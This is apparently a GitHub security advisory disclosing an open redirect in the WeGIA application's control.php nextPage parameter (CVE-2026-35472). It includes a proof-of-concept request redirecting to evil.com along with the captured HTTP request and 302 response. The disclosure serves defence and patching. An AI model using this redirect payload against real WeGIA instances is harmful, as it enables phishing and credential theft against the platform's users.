

Open Redirect - EstoqueControle - listarTodos() - Unvalidated \$_GET['nextPage']

Moderate nilsonLazarin published GHSA-h8wm-6xhv-r547 4 days ago

Package

No package listed

Affected versions

<=3.6.8

Patched versions

3.6.9

Description

Summary

An Open Redirect vulnerability was identified in the /WeGIA/controle/control.php endpoint of the WeGIA application, specifically through the nextPage parameter when combined with:

- metodo=listarTodos
- nomeClasse=EstoqueControle

The application fails to validate or restrict the nextPage parameter, allowing attackers to redirect users to arbitrary external websites. This can be abused for phishing attacks, credential theft, malware distribution, and social engineering using the trusted WeGIA domain.

PoC

1. Navigate to the following URL:

```
GET /WeGIA/controle/control.php?
nomeClasse=EstoqueControle&metodo=listarTodos&nextPage=https://evil.com HTTP/1.1
Host: sec.wegia.org:8000
```



```

Pretty Raw Hex
1 GET /weGIA/control/control.php?nomeClasse=EstoqueControle&metodo=listarTodos&nextPage=https://evil.com HTTP/1.1
2 Host: sec.wegia.org:8000
3 Cookie: _ga-GA1.1.28087836.1774077877; PHPSESSID=c18skfadbrlq1jnash5rpf7be; _ga_F80XBXLV8-GS2.1.e17741120438e48q18t17741120508j538l0gho
4 Sec-CH-UA: "Chromium";v="145", "Not:A-Brand";v="99"
5 Sec-CH-UA-Mobile: ?0
6 Sec-CH-UA-Platform: "Linux"
7 Accept-Language: en-US,en;q=0.9
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Sec-Fetch-Site: none
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dst: document
15 Accept-Encoding: gzip, deflate, br
16 Priority: u=0, i
17 Connection: keep-alive
18
19
response
Pretty Raw Hex Render
1 HTTP/1.1 302 Found
2 Date: Sat, 21 Mar 2026 16:56:51 GMT
3 Server: Apache/2.4.62 (Debian)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Location: https://evil.com
8 Content-Length: 0
9 Keep-Alive: timeout=5, max=100
10 Connection: keep-alive
11 Content-Type: text/html; charset=utf-8
12
13

```

Impact

It can be weaponized for phishing by sending a crafted link to an admin: the victim sees a legitimate-looking success message on the attacker's site after clicking. It allows to:

- Redirect users to phishing pages designed to steal credentials.
- Redirect users to malicious sites hosting malware or dangerous content.
- Perform social engineering attacks using trusted URLs from the WeGIA domain.
- Potentially interfere with authentication or session-handling flows.
- Damage user trust in the WeGIA platform.

Severity

Moderate 5.1 / 10

CVSS v4 base metrics

Exploitability Metrics

Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	None
User interaction	Active

Vulnerable System Impact Metrics

Confidentiality	Low
Integrity	Low
Availability	None

Subsequent System Impact Metrics

Confidentiality	Low
Integrity	Low
Availability	None

[Learn more about base metrics](#)

CVE ID

CVE-2026-35472

Weaknesses

▶ CWE-601

Credits



dapickle

Reporter



GabrielPintoSouza

Remediation developer